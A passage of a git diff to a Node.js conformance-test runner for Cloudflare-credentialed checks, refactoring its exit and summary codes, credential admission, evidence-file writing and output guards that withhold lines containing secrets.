DIRECT_OUTPUT_PREFIX = 'DIRECT_CONFORMANCE '; -const usageSummary = Object.freeze({ code: 'usage' }); -const internalErrorSummary = Object.freeze({ code: 'internal-error' }); -const evidenceFailureSummaries = Object.freeze({ - false: Object.freeze({ code: 'evidence-failed', evidenceWritten: false }), - true: Object.freeze({ code: 'evidence-failed', evidenceWritten: true }), +/** + * The summary codes this runtime mints. A run-state or bootstrap refusal + * reaches the summary carrying its own code instead. + */ +export const DIRECT_CONFORMANCE_CODES = Object.freeze({ + belowScenarioFloor: 'below-scenario-floor', + distMissing: 'dist-missing', + evidenceFailed: 'evidence-failed', + internalError: 'internal-error', + invalidInput: 'invalid-input', + preflightFailed: 'preflight-failed', + usage: 'usage', }); -export const DIRECT_USAGE_DIAGNOSTIC = `${JSON.stringify(usageSummary)}\n`; -export const DIRECT_INTERNAL_ERROR_DIAGNOSTIC = `${JSON.stringify(internalErrorSummary)}\n`; -const evidenceFailureLines = Object.freeze( - Object.fromEntries( - Object.entries(evidenceFailureSummaries).map(([written, summary]) => { - const stderrLine = `${JSON.stringify(summary)}\n`; - return [ - written, - Object.freeze({ - stdoutLine: `${DIRECT_OUTPUT_PREFIX}${stderrLine}`, - stderrLine, - }), - ]; - }), - ), -); +/** + * The process exit codes the CLI resolves. `evidenceFailed` means the run's + * evidence file or its summary line was not published, whichever came first. + */ +export const DIRECT_CONFORMANCE_EXIT_CODES = Object.freeze({ + success: 0, + failed: 1, + invalidInput: 2, + restartRequired: 3, + retained: 4, + evidenceFailed: 5, +}); +/** The modes that reach the provider and therefore carry credentials. */ +export const DIRECT_LIVE_MODES = Object.freeze(['run', 'resume']); +export const DIRECT_CONFORMANCE_MODES = Object.freeze([ + 'preflight', + ...DIRECT_LIVE_MODES, + 'help', +]); +/** The environment variables that carry a credential. */ +export const DIRECT_CREDENTIAL_VARIABLES = Object.freeze([ + 'CLOUDFLARE_API_TOKEN', + 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', +]); +/** + * The variables live-mode admission validates. `CLOUDFLARE_ACCOUNT_ID` is + * admitted here and absent from `DIRECT_CREDENTIAL_VARIABLES`: it names an + * account rather than authenticating to it. + */ +export const DIRECT_ADMISSION_VARIABLES = Object.freeze([ + 'CLOUDFLARE_ACCOUNT_ID', + ...DIRECT_CREDENTIAL_VARIABLES, +]); +const codes = DIRECT_CONFORMANCE_CODES; +const exits = DIRECT_CONFORMANCE_EXIT_CODES; +/** The one shape every line below carries: the summary's JSON text, newline-terminated. */ +const fixedLineOf = (summary) => `${JSON.stringify(summary)}\n`; +const prefixed = (stderrLine) => `${DIRECT_OUTPUT_PREFIX}${stderrLine}`; +const evidenceFailureSummary = (evidenceWritten, hit) => + Object.freeze({ code: codes.evidenceFailed, ...hit, evidenceWritten }); +const usageSummary = Object.freeze({ code: codes.usage }); +const internalErrorSummary = Object.freeze({ code: codes.internalError }); +export const DIRECT_USAGE_DIAGNOSTIC = fixedLineOf(usageSummary); +export const DIRECT_INTERNAL_ERROR_DIAGNOSTIC = + fixedLineOf(internalErrorSummary); +const evidenceFailureLine = (evidenceWritten) => { + const stderrLine = fixedLineOf(evidenceFailureSummary(evidenceWritten)); + return Object.freeze({ stdoutLine: prefixed(stderrLine), stderrLine }); +}; +const evidenceFailureLines = Object.freeze({ + false: evidenceFailureLine(false), + true: evidenceFailureLine(true), +}); +// A null prototype keeps the lookup total: a variable the table does not carry +// reads as `undefined` rather than as an inherited member. const invalidInputLines = Object.freeze( - Object.fromEntries( - [ - 'CLOUDFLARE_ACCOUNT_ID', - 'CLOUDFLARE_API_TOKEN', - 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', - ].map((variable) => [ - variable, - `${JSON.stringify({ code: 'invalid-input', variable })}\n`, - ]), + Object.assign( + Object.create(null), + Object.fromEntries( + DIRECT_ADMISSION_VARIABLES.map((variable) => [ + variable, + fixedLineOf({ code: codes.invalidInput, variable }), + ]), + ), ), ); -/** A silent exit 2 means a credential collides with the CLI's fixed vocabulary. */ +/** + * The lines the CLI can print without reading a run value: every member is + * `fixedLineOf` over a summary this module's own constants build. A silent exit + * 2 means a credential collides with one of them, so the refusal's own + * diagnostic would carry it. The suppression is wider than this list: in a live + * mode the entry scans every line it writes, its usage line and its + * internal-error diagnostic included, and the runtime scans every line it + * builds from a run value against the same credentials. + */ export const DIRECT_FIXED_OUTPUT = Object.freeze([ ...Object.values(evidenceFailureLines).flatMap((lines) => Object.values(lines), @@ -85,8 +141,33 @@ export function parseDirectConformanceArgs(argv) { return null; } +export function isDirectLiveMode(mode) { + return DIRECT_LIVE_MODES.includes(mode); +} + +/** Whether a line the CLI would write carries one of `values`. */ +export function directLineCarries(line, values) { + return values.some( + (value) => + typeof value === 'string' && value.length > 0 && line.includes(value), + ); +} + +/** + * Whether the entry copies a result's stderr line to its own stderr. The + * stderr-only refusal exits 2, so its own exit code already selects it. + */ +export function directWritesStderr(result) { + return ( + result.stderrLine !== null && + result.exitCode !== exits.success && + result.exitCode !== exits.restartRequired + ); +} + export function resolveDirectExitCode(current, next) { - const rank = (code) => (code === 5 ? 2 : code === 1 ? 1 : 0); + const rank = (code) => + code === exits.evidenceFailed ? 2 : code === exits.failed ? 1 : 0; return current === null || rank(next) > rank(current) ? next : current; } @@ -126,13 +207,14 @@ function validEnvironment(value) { ); } +// A clock the projection cannot use raises here, inside the evidence path, so +// the run reports `evidence-failed` for it. function timestamp(now) { const value = now(); if (!Number.isSafeInteger(value) || value < 0) - throw new Error('internal-error'); + throw new Error(codes.internalError); const time = new Date(value).toISOString(); - if (!/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/u.test(time)) - throw new Error('internal-error'); + if (!DIRECT_RUN_TIMESTAMP.test(time)) throw new Error(codes.internalError); return time; } @@ -144,84 +226,90 @@ export async function runDirectConformance(input) { bootstrap: bootstrapDirectConformance, scenario: runDirectCredentialedScenario, teardown: teardownDirectReference, + writeEvidence: writeDirectEvidence, distPresent: () => existsSync(join(packageDirectory, 'dist', 'index.js')), ...input.modules, }; const now = input.now ?? Date.now; - const sentinels = { - secrets: [], + // Secrets join the sentinel list once the run needs them: `--help` and + // `--preflight` complete without reading a credential, so the summaries they + // return are scanned against the literals alone. The entry arms its own guard + // for those returns in live modes. The bag is replaced rather than mutated, + // so every reader sees a complete, immutable list. + let sentinels = Object.freeze({ + secrets: Object.freeze([]), literals: DIRECT_EVIDENCE_LITERALS, - }; + }); const byteHit = (line) => - [...sentinels.secrets, ...sentinels.literals].some( - (value) => - typeof value === 'string' && value.length > 0 && line.includes(value), - ); + directLineCarries(line, [...sentinels.secrets, ...sentinels.literals]); + let evidencePath = null; + let evidenceWritten = false; const result = ( exitCode, summary, - evidencePath = null, - stderrOnly = false, + evidencePathReported = null, + // The fixed line an admission refusal prints, handed over by the branch + // that refuses. A refusal supplies one and prints no stdout summary; the + // line travels with the refusal, so no table lookup can miss here. + fixedLine = null, ) => { + const stderrOnly = fixedLine !== null; const inspect = (value) => { const inspected = inspectDirectEvidence(value, sentinels); - const stderrLine = inspected.serialized; return { - ...inspected, - stdoutLine: `${DIRECT_OUTPUT_PREFIX}${stderrLine}`, - stderrLine, + hit: inspected.hit, + stdoutLine: prefixed(inspected.serialized), + stderrLine: inspected.serialized, }; }; let lines = inspect(summary); - summary = JSON.parse(lines.serialized); + summary = JSON.parse(lines.stderrLine); if (!stderrOnly && lines.hit) { - exitCode = 5; - summary = { - code: 'evidence-failed', - ...(summary.code === 'evidence-failed' ? {} : lines.hit), - evidenceWritten: summary.evidenceWritten ?? false, - }; + exitCode = exits.evidenceFailed; + summary = evidenceFailureSummary( + evidenceWritten, + summary.code === codes.evidenceFailed ? undefined : lines.hit, + ); lines = inspect(summary); } if (!stderrOnly && Buffer.byteLength(lines.stdoutLine) > 4096) { + // A summary too large to print is replaced by a fixed one; the run keeps + // the exit code it resolved, so the line reports the size fault and the + // code still reports the run. lines = inspect( - exitCode === 5 - ? evidenceFailureSummaries[summary.evidenceWritten === true] + exitCode === exits.evidenceFailed + ? evidenceFailureSummary(evidenceWritten) : internalErrorSummary, ); - if (exitCode !== 5) exitCode = 1; } if (stderrOnly) { - const silent = - lines.hit || - byteHit(lines.stderrLine) || - Buffer.byteLength(lines.stdoutLine) > 4096; lines = { stdoutLine: null, - stderrLine: silent - ? null - : (invalidInputLines[summary.variable] ?? null), + stderrLine: + lines.hit || byteHit(fixedLine) || Buffer.byteLength(fixedLine) > 4096 + ? null + : fixedLine, }; } else if (lines.hit || byteHit(lines.stdoutLine)) { - exitCode = 5; - lines = evidenceFailureLines[summary.evidenceWritten === true]; + exitCode = exits.evidenceFailed; + lines = evidenceFailureLines[evidenceWritten]; } return { exitCode, summary: lines.stderrLine ? JSON.parse(lines.stderrLine) : summary, - evidencePath, + evidencePath: evidencePathReported, stdoutLine: lines.stdoutLine, stderrLine: lines.stderrLine, ...(stderrOnly ? { stderrOnly: true } : {}), }; }; - if (!['help', 'preflight', 'run', 'resume'].includes(input.mode)) - return result(2, usageSummary); + if (!DIRECT_CONFORMANCE_MODES.includes(input.mode)) + return result(exits.invalidInput, usageSummary); if (input.mode === 'help') - return result(0, { usage: DIRECT_CONFORMANCE_USAGE }); + return result(exits.success, { usage: DIRECT_CONFORMANCE_USAGE }); if (!validEnvironment(input.configPath)) - return result(2, { - code: 'invalid-input', + return result(exits.invalidInput, { + code: codes.invalidInput, variable: 'FLEET_DIRECT_CONFORMANCE_CONFIG', }); let prepared; @@ -231,56 +319,79 @@ export async function runDirectConformance(input) { now: now(), }); } catch { - return result(2, { code: 'preflight-failed' }); + return result(exits.invalidInput, { code: codes.preflightFailed }); } if (input.mode === 'preflight') - return result(0, { + return result(exits.success, { configSha256: prepared.configSha256, referenceModuleSetSha256: prepared.referenceModuleSetSha256, referenceUploadBytes: prepared.referenceUploadBytes, names: prepared.names, }); - sentinels.secrets = [ - input.env.CLOUDFLARE_API_TOKEN, - input.env.FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET, - ]; - for (const variable of [ - 'CLOUDFLARE_ACCOUNT_ID', - 'CLOUDFLARE_API_TOKEN', - 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', - ]) { + sentinels = Object.freeze({ + secrets: Object.freeze( + DIRECT_CREDENTIAL_VARIABLES.map((variable) => input.env[variable]).filter( + (value) => typeof value === 'string' && value.length > 0, + ), + ), + literals: DIRECT_EVIDENCE_LITERALS, + }); + // Each variable is admitted beside the diagnostic its refusal prints, so the + // line is carried rather than looked up and the two can never disagree. + for (const [variable, fixedLine] of Object.entries(invalidInputLines)) { try { if (!validEnvironment(input.env[variable])) - throw new Error('invalid-input'); - if (variable !== 'CLOUDFLARE_ACCOUNT_ID') { + throw new Error(codes.invalidInput); + if (DIRECT_CREDENTIAL_VARIABLES.includes(variable)) { validateProviderAuth(input.env[variable]); + // The third reason this refusal covers: the credential collides with a + // line the CLI can print, or with a key the evidence artifact carries, + // either of which the scan answers by withholding output at the end of + // a live run. The scan compares array elements by their index, so a + // credential of digits alone collides too. The credential changes + // rather than the environment that supplies it. if ( DIRECT_FIXED_OUTPUT.some((output) => output.includes(input.env[variable]), - ) + ) || + DIRECT_EVIDENCE_KEYS.some((key) => + key.includes(input.env[variable]), + ) || + /^\d+$/u.test(input.env[variable]) ) - throw new Error('invalid-input'); + throw new Error(codes.invalidInput); } } catch { - return result(2, { code: 'invalid-input', variable }, null, true); + return result( + exits.invalidInput, + { code: codes.invalidInput, variable }, + null, + fixedLine, + ); } } let journal; let inspection; - let outcome = { status: 'failed', exitCode: 1, teardownCall: null }; + let outcome = { + status: 'failed', + exitCode: exits.failed, + teardownCall: null, + }; let code; let detail; let invocationFailureDetail; - let evidencePath = null; let summary; try { if (!modules.distPresent()) - return result(2, { code: 'dist-missing', command: 'pnpm build' }); + return result(exits.invalidInput, { + code: codes.distMissing, + command: 'pnpm build', + }); if ( prepared.config.referenceWorker.maxInvocations < DIRECT_SCENARIO_MIN_INVOCATIONS ) - return result(2, { code: 'below-scenario-floor' }); + return result(exits.invalidInput, { code: codes.belowScenarioFloor }); const stateInput = { configPath: input.configPath, prepared, @@ -303,17 +414,27 @@ export async function runDirectConformance(input) { ...stateInput, mode: 'inspect', }); - outcome = { status: 'outcome-unknown', exitCode: 1, teardownCall: null }; + outcome = { + status: 'outcome-unknown', + exitCode: exits.failed, + teardownCall: null, + }; code = 'outcome-unknown'; } if (journal) { if (input.mode === 'resume') await journal.recordResume(); const snapshot = journal.snapshot(); + // Dispatch row 1: a settled teardown leaves nothing to drive, so the run + // is evidence-only. if ( snapshot.teardown?.phase === 'complete' && snapshot.teardown.failure === null ) { - outcome = { status: 'cleaned', exitCode: 0, teardownCall: null }; + outcome = { + status: 'cleaned', + exitCode: exits.success, + teardownCall: null, + }; } else { const networkInput = { prepared, @@ -322,6 +443,10 @@ export async function runDirectConformance(input) { ...(input.fetch ? { fetch: input.fetch } : {}), }; let restart = false; + // Dispatch row 5: no recorded teardown and no settled scenario. Rows 2, + // 3 and 4 are this predicate's complement — a recorded teardown, a + // failed scenario, a complete scenario — and each skips straight to + // teardown on the journal's own record. if ( snapshot.teardown === undefined && (snapshot.scenario === undefined || @@ -346,10 +471,11 @@ export async function runDirectConformance(input) { if (restart) { outcome = { status: 'restart-required', - exitCode: 3, + exitCode: exits.restartRequired, teardownCall: null, }; } else { + // Rows 2 through 5 converge here. const teardown = await modules.teardown({ ...networkInput, ...(input.delay ? { delay: input.delay } : {}), @@ -362,7 +488,12 @@ export async function runDirectConformance(input) { : 'retained'; outcome = { status, - exitCode: status === 'cleaned' ? 0 : status === 'failed' ? 1 : 4, + exitCode: + status === 'cleaned' + ? exits.success + : status === 'failed' + ? exits.failed + : exits.retained, teardownCall: { status: teardown.status, failure: @@ -376,22 +507,30 @@ export async function runDirectConformance(input) { } } } catch (error) { + // Reminting through the class re-validates a `code` the thrower owns + // against the class's own vocabulary, which an instance can carry past. code = error instanceof DirectRunStateError ? new DirectRunStateError(error.code).code : error instanceof DirectBootstrapError ? new DirectBootstrapError(error.code).code - : 'internal-error'; + : codes.internalError; if (error instanceof DirectBootstrapError) detail = new DirectBootstrapError(error.code, error.detail).detail; - outcome = { status: 'failed', exitCode: 1, teardownCall: null }; + outcome = { + status: 'failed', + exitCode: exits.failed, + teardownCall: null, + }; } finally { const handle = journal ?? inspection; if (handle) { - let evidenceWritten = false; + let projected = false; + let evidence; + let directory; try { const snapshot = journal ? journal.snapshot() : inspection.snapshot; - const evidence = buildDirectEvidence({ + evidence = buildDirectEvidence({ snapshot, invocationFailureDetail, prepared, @@ -417,56 +556,71 @@ export async function runDirectConformance(input) { teardownCall: evidence.teardownCall, retainedIdentities: evidence.retainedIdentities, ...(outcome.status === 'restart-required' - ? { command: 'pnpm fleet-control:credentialed:direct -- --resume' } + ? { command: DIRECT_CONFORMANCE_COMMANDS.resume } : {}), }; - const directory = - journal?.directory ?? - join( - dirname(resolve(input.configPath)), - '.direct-conformance', - snapshot.binding.resourcePrefix, - ); - const written = await writeDirectEvidence({ - directory, - evidence, - sentinels, - }); - evidenceWritten = written.written; - if (written.written) evidencePath = join(directory, 'evidence.json'); - if (!written.written) { - outcome.exitCode = 5; - summary = { - code: 'evidence-failed', - ...(written.sentinelClass - ? { - sentinelClass: written.sentinelClass, - keyPath: written.keyPath, - } - : {}), - evidenceWritten, - }; - } - } catch (error) { - evidenceWritten = - error instanceof DirectEvidenceWriteError && error.written; - outcome.exitCode = 5; - summary = { code: 'evidence-failed', evidenceWritten }; - } finally { - summary = { ...summary, evidenceWritten }; + // The handle owns the layout; this module derives none of its own. + directory = handle.directory; + projected = true; + } catch { + outcome.exitCode = exits.evidenceFailed; + summary = evidenceFailureSummary(evidenceWritten); + } + if (projected) { try { - await handle.close(); - } catch { - if (outcome.exitCode !== 5) { - outcome.exitCode = 1; - summary = { code: 'internal-error', evidenceWritten }; + const written = await modules.writeEvidence({ + directory, + evidence, + sentinels, + }); + evidenceWritten = written.written; + if (written.written) evidencePath = join(directory, 'evidence.json'); + if (!written.written) { + outcome.exitCode = exits.evidenceFailed; + // A withheld artifact carries one class member: the credential + // class the scan matched, or the refusal class of an identity + // whose shape the boundary rejects. The summary forwards the one + // that is present beside its path. + const { sentinelClass, refusalClass, keyPath } = written; + summary = evidenceFailureSummary( + evidenceWritten, + (sentinelClass ?? refusalClass) + ? { + ...(sentinelClass === undefined + ? { refusalClass } + : { sentinelClass }), + keyPath, + } + : undefined, + ); } + } catch (error) { + evidenceWritten = error instanceof DirectEvidenceWriteError; + // The class is raised only after replacement, so the artifact the run + // reports is the one on disk. + if (evidenceWritten) evidencePath = join(directory, 'evidence.json'); + outcome.exitCode = exits.evidenceFailed; + summary = evidenceFailureSummary(evidenceWritten); } } + summary = { ...summary, evidenceWritten }; + try { + await handle.close(); + } catch { + outcome.exitCode = resolveDirectExitCode( + outcome.exitCode, + exits.failed, + ); + if (outcome.exitCode !== exits.evidenceFailed) + summary = { code: codes.internalError, evidenceWritten }; + } } } - if (code === 'internal-error' && outcome.exitCode !== 5) - return result(1, { code }, evidencePath); + if ( + code === codes.internalError && + resolveDirectExitCode(outcome.exitCode, exits.failed) === exits.failed + ) + return result(exits.failed, { code }, evidencePath); return result( outcome.exitCode, summary ?? { diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance.mjs b/packages/fleet-control/scripts/direct-credentialed-conformance.mjs index f3494398..a140023f 100644 --- a/packages/fleet-control/scripts/direct-credentialed-conformance.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-conformance.mjs @@ -1,65 +1,79 @@ // SPDX-License-Identifier: Apache-2.0 import { + DIRECT_CONFORMANCE_EXIT_CODES, + DIRECT_CREDENTIAL_VARIABLES, DIRECT_INTERNAL_ERROR_DIAGNOSTIC, DIRECT_USAGE_DIAGNOSTIC, + directLineCarries, + directWritesStderr, + isDirectLiveMode, parseDirectConformanceArgs, resolveDirectExitCode, runDirectConformance, } from './direct-credentialed-conformance-runtime.mjs'; -const mode = parseDirectConformanceArgs(process.argv.slice(2)); -const live = mode === 'run' || mode === 'resume'; +const exits = DIRECT_CONFORMANCE_EXIT_CODES; let terminal = null; -const setExitCode = (next) => { +const secrets = new Map(); +let transcript = ''; +function setExitCode(next) { terminal = resolveDirectExitCode(terminal, next); process.exitCode = terminal; -}; -const secrets = new Map(); +} +/** + * Returns whether the entry wrote the line; a suppressed required stdout + * summary resolves to exit 5, while a suppressed stderr copy or fixed + * diagnostic preserves the resolved code. A reader sees the two descriptors in + * either order, so both concatenations are scanned. `secrets` stays empty + * outside a live mode, where the CLI reads no credential, so nothing is + * withheld there. + */ +function write(stream, line) { + const values = [...secrets.values()]; + if ( + directLineCarries(transcript + line, values) || + directLineCarries(line + transcript, values) + ) + return false; + transcript += line; + stream.write(line); + return true; +} +// Suppression covers every line this entry writes in a live mode, the internal +// error diagnostic and the argv usage line included. +function internalError() { + setExitCode(exits.failed); + write(process.stderr, DIRECT_INTERNAL_ERROR_DIAGNOSTIC); +} +// Registered before the argv parse and the trap construction, so a fault in +// either is reported through the same guarded diagnostic. +process.on('unhandledRejection', internalError); +process.on('uncaughtException', internalError); +const mode = parseDirectConformanceArgs(process.argv.slice(2)); +const live = isDirectLiveMode(mode); +// A live mode reads its credentials through this trap, which records each one +// for the guard above. A local mode is specified to run without credentials and +// is handed an empty environment; `help` reads no configuration path either. const env = live ? new Proxy(process.env, { get(target, variable) { - if ( - variable !== 'CLOUDFLARE_API_TOKEN' && - variable !== 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET' - ) + if (!DIRECT_CREDENTIAL_VARIABLES.includes(variable)) return Reflect.get(target, variable); if (!secrets.has(variable)) secrets.set(variable, target[variable]); return secrets.get(variable); }, }) : {}; -let transcript = ''; -/** Returns whether the entry wrote the line; a suppressed required stdout summary resolves to exit 5, while a suppressed stderr copy or fixed diagnostic preserves the resolved code. */ -const writeGuarded = (stream, line) => { - const next = transcript + line; - if ( - [...secrets.values()].some( - (secret) => - typeof secret === 'string' && - secret.length > 0 && - next.includes(secret), - ) - ) - return false; - transcript = next; - stream.write(line); - return true; -}; -const write = live - ? writeGuarded - : (stream, line) => { - stream.write(line); - return true; - }; -const internalError = () => { - setExitCode(1); - write(process.stderr, DIRECT_INTERNAL_ERROR_DIAGNOSTIC); +/** + * Records every live credential, so a refusal the runtime returns before its + * own credential read is still scanned against the full list. + */ +const armGuard = () => { + for (const variable of DIRECT_CREDENTIAL_VARIABLES) void env[variable]; }; -process.on('unhandledRejection', internalError); -process.on('uncaughtException', internalError); if (mode === null) { - setExitCode(2); + setExitCode(exits.invalidInput); write(process.stderr, DIRECT_USAGE_DIAGNOSTIC); } else { runDirectConformance({ @@ -69,17 +83,14 @@ if (mode === null) { env, }) .then((result) => { + armGuard(); setExitCode(result.exitCode); if ( result.stdoutLine !== null && !write(process.stdout, result.stdoutLine) ) - setExitCode(5); - if ( - result.stderrLine !== null && - (result.stderrOnly || (result.exitCode !== 0 && result.exitCode !== 3)) - ) - write(process.stderr, result.stderrLine); + setExitCode(exits.evidenceFailed); + if (directWritesStderr(result)) write(process.stderr, result.stderrLine); }) .catch(internalError); } diff --git a/packages/fleet-control/scripts/direct-credentialed-evidence.d.mts b/packages/fleet-control/scripts/direct-credentialed-evidence.d.mts index c054a0ae..78f8f576 100644 --- a/packages/fleet-control/scripts/direct-credentialed-evidence.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-evidence.d.mts @@ -6,7 +6,10 @@ import type { DirectRunSnapshot, DirectTeardownFailure, } from './direct-credentialed-run-state.mjs'; +import type { DirectTeardownOutcome } from './direct-credentialed-teardown.mjs'; +/** The modes that reach the provider, and therefore the modes evidence covers. */ +export type DirectLiveMode = 'run' | 'resume'; export type DirectEvidenceStatus = | 'cleaned' | 'retained' @@ -14,7 +17,7 @@ export type DirectEvidenceStatus = | 'failed' | 'outcome-unknown'; export type DirectEvidenceTeardownCall = Readonly<{ - status: 'cleaned' | 'retained'; + status: DirectTeardownOutcome['status']; failure: Readonly<{ code: DirectTeardownFailure }> | null; providerRequests: number; }>; @@ -23,20 +26,119 @@ export type DirectEvidenceSentinels = Readonly<{ literals: readonly string[]; }>; export type DirectEvidenceSentinelHit = Readonly<{ - sentinelClass: 'env-secret' | 'literal' | 'identity-shape'; + /** The credential class the scan matched. A shape refusal carries none. */ + sentinelClass?: 'env-secret' | 'literal'; + /** + * Set instead of `sentinelClass` when the value at `keyPath` is a provider + * identity of the wrong shape: the artifact is withheld for what the journal + * carries, not for a credential the scan found in it. + */ + refusalClass?: 'identity-shape'; + /** + * The dotted path the scan stopped at, empty when the sentinel is completed + * by the serialization's own structure rather than by a member. It is + * diagnostic provenance and can itself contain a credential, because an + * object key that is one becomes part of the path: scan any line rendering + * it before printing that line. + */ keyPath: string; }>; export const DIRECT_EVIDENCE_LITERALS: readonly string[]; +/** The commands the artifact publishes and the runtime names in a restart summary. */ +export const DIRECT_CONFORMANCE_COMMANDS: Readonly<{ + run: string; + resume: string; +}>; +/** + * Every key name the projection writes, including the scenario phases and the + * residual surfaces. A credential one of these contains ends a run at + * publication, which is why live-mode admission refuses it. Array elements are + * keyed by index instead, which admission answers with its digits-only rule. + */ +export const DIRECT_EVIDENCE_KEYS: readonly string[]; +/** + * The dotted paths of the projected provider strings the journal decodes with + * `identifier`, each guarded against the identity shape. A value the journal + * bounds to the scenario charset, and a prefix-derived name, are absent by + * rule: neither can reach this boundary wider than the guard. + */ +export const DIRECT_EVIDENCE_IDENTITY_PATHS: readonly string[]; +/** + * Raised only after the artifact has replaced its predecessor, so catching the + * class is itself the proof that `evidence.json` exists. + */ export class DirectEvidenceWriteError extends Error { - readonly written: true; constructor(); } +export type DirectEvidenceScenarioFailure = Readonly<{ + code: string; + ordinal: number; + detail: string | null; +}>; +export type DirectEvidenceScenario = Readonly<{ + phase: string; + failure: DirectEvidenceScenarioFailure | null; + invocationCount: number; + sdkRequests: number | null; + attempts: Readonly>; + phaseCalls: Readonly>; + restart: Readonly> | null; + initial: Readonly>; + candidate: Readonly>; + final: Readonly>; + fence: Readonly>; + exports: Readonly>; + inventories: Readonly>; + terminalForce: Readonly>; +}>; +export type DirectEvidenceCost = Readonly<{ + basis: 'request-counters'; + referenceProvider: number | null; + referenceMaintenance: number | null; + referenceApplication: number | null; + sdkRequests: number | null; + referenceInvocations: number; + teardownProvider: number | null; + billed: null; +}>; +/** + * The evidence artifact, in the member order `writeDirectEvidence` serializes + * and `evidence.json` carries. The allowlist is the artifact's contract: a + * member absent here is a member the projection does not write. + */ +export type DirectEvidenceArtifact = Readonly<{ + version: 1; + contractVersion: number; + packageVersion: string; + commit: string | null; + mode: DirectLiveMode; + status: DirectEvidenceStatus; + exitCode: number; + startedAt: string | null; + finishedAt: string; + resumeCount: number; + accountIdSha256Suffix: string; + zoneIdSha256Suffix: string | null; + resourcePrefix: string; + maxInvocations: number; + disposableAccount: boolean; + configSha256: string; + referenceModuleSetSha256: string; + referenceUploadBytes: number; + commands: readonly string[]; + bootstrap: Readonly> | null; + scenario: DirectEvidenceScenario | null; + teardown: Readonly> | null; + teardownCall: DirectEvidenceTeardownCall | null; + retainedIdentities: Readonly>; + cost: DirectEvidenceCost; +}>; export function buildDirectEvidence( input: Readonly<{ snapshot: DirectRunSnapshot; invocationFailureDetail?: DirectInvocationFailureDetail; prepared: PreparedDirectConformance; - mode: 'run' | 'resume'; + mode: DirectLiveMode; outcome: Readonly<{ status: DirectEvidenceStatus; exitCode: number; @@ -45,15 +147,22 @@ export function buildDirectEvidence( times: Readonly<{ finishedAt: string }>; commit: string | null; }>, -): Readonly>; +): DirectEvidenceArtifact; +/** + * `serialized` is the exact byte sequence a caller publishes or prints: the + * JSON text of `evidence` with the trailing newline already appended. A caller + * that adds its own terminator writes two. + */ export function inspectDirectEvidence( evidence: object, sentinels: DirectEvidenceSentinels, ): Readonly<{ hit: DirectEvidenceSentinelHit | null; serialized: string }>; -export function scanDirectEvidence( - evidence: object, - sentinels: DirectEvidenceSentinels, -): DirectEvidenceSentinelHit | null; +/** + * Publishes the artifact, or withholds it and returns the hit that stopped it: + * a refusal carries the same `keyPath` and the same class member — a + * `sentinelClass` for a credential, a `refusalClass` for a shape — the scan + * reports. + */ export function writeDirectEvidence( input: Readonly<{ directory: string; @@ -61,6 +170,4 @@ export function writeDirectEvidence( sentinels: DirectEvidenceSentinels; readBack?: (path: string) => Promise; }>, -): Promise< - Readonly<{ written: boolean; sentinelClass?: string; keyPath?: string }> ->; +): Promise & Partial>; diff --git a/packages/fleet-control/scripts/direct-credentialed-evidence.mjs b/packages/fleet-control/scripts/direct-credentialed-evidence.mjs index 44f48207..a217e9b7 100644 --- a/packages/fleet-control/scripts/direct-credentialed-evidence.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-evidence.mjs @@ -2,12 +2,14 @@ import { createHash, randomUUID } from 'node:crypto'; import { constants } from 'node:fs'; -import { open, readFile, rename, unlink } from 'node:fs/promises'; +import { open, readdir, readFile, rename, unlink } from 'node:fs/promises'; import { createRequire } from 'node:module'; import { join } from 'node:path'; import { DIRECT_INVOCATION_FAILURE_DETAILS } from './direct-credentialed-invocation.mjs'; -import { DIRECT_RESIDUAL_SURFACES } from './direct-credentialed-run-state.mjs'; +import { DIRECT_RESIDUAL_SURFACES } from './direct-credentialed-reference-vocabulary.mjs'; +import { assertPrivate, fileFlags } from './direct-credentialed-run-state.mjs'; import { DIRECT_SCENARIO_PHASES } from './direct-credentialed-scenario-budget.mjs'; +import { survivingIdentities } from './direct-credentialed-teardown.mjs'; const { version: packageVersion } = createRequire(import.meta.url)( '../package.json', @@ -22,10 +24,149 @@ export const DIRECT_EVIDENCE_LITERALS = Object.freeze([ 'X-Auth-', 'X-Direct-', ]); +/** The commands the artifact publishes and the runtime names in a restart summary. */ +export const DIRECT_CONFORMANCE_COMMANDS = Object.freeze({ + run: 'pnpm fleet-control:credentialed:direct -- --run', + resume: 'pnpm fleet-control:credentialed:direct -- --resume', +}); +/** + * Every key name the projection writes. The scan compares each key against the + * run's credentials, so a credential one of these contains ends the run at + * publication; live-mode admission refuses such a credential instead. + * `test/direct-credentialed-evidence.test.ts` walks a maximal artifact against + * this list, so a projected key absent here is a red test rather than a gap. + * Array elements carry an index in place of a name, which admission answers + * with its digits-only rule rather than with a member here. + */ +export const DIRECT_EVIDENCE_KEYS = Object.freeze([ + 'a', + 'accountIdSha256Suffix', + 'activeVersionId', + 'after', + 'application', + 'attempts', + 'b', + 'basis', + 'before', + 'billed', + 'bootstrap', + 'bucketJurisdictions', + 'candidate', + 'categoryCount', + 'code', + 'commands', + 'commit', + 'configSha256', + 'contractVersion', + 'cost', + 'count', + 'cpuLimitMs', + 'current', + 'databaseId', + 'detail', + 'disposableAccount', + 'dispatch', + 'drain', + 'emptyCount', + 'exhaustive', + 'exitCode', + 'exportBucket', + 'exportObjects', + 'exports', + 'failure', + 'fence', + 'final', + 'finishedAt', + 'first', + 'fleet', + 'fleetUuid', + 'future', + 'globalCount', + 'ingress', + 'initial', + 'intervalMs', + 'inventories', + 'invocationCount', + 'kind', + 'location', + 'lossOrdinal', + 'maintenance', + 'maxInvocations', + 'missing', + 'mode', + 'mutationEpoch', + 'ordinal', + 'packageVersion', + 'phase', + 'phaseCalls', + 'prefixCount', + 'probes', + 'provider', + 'providerRequests', + 'quota', + 'quotaUuid', + 'receipts', + 'recovery', + 'referenceApplication', + 'referenceInvocations', + 'referenceMaintenance', + 'referenceModuleSetSha256', + 'referenceProvider', + 'referenceUploadBytes', + 'reopen', + 'replayOrdinal', + 'requireMutationEpoch', + 'residual', + 'resourcePrefix', + 'restart', + 'resumeCount', + 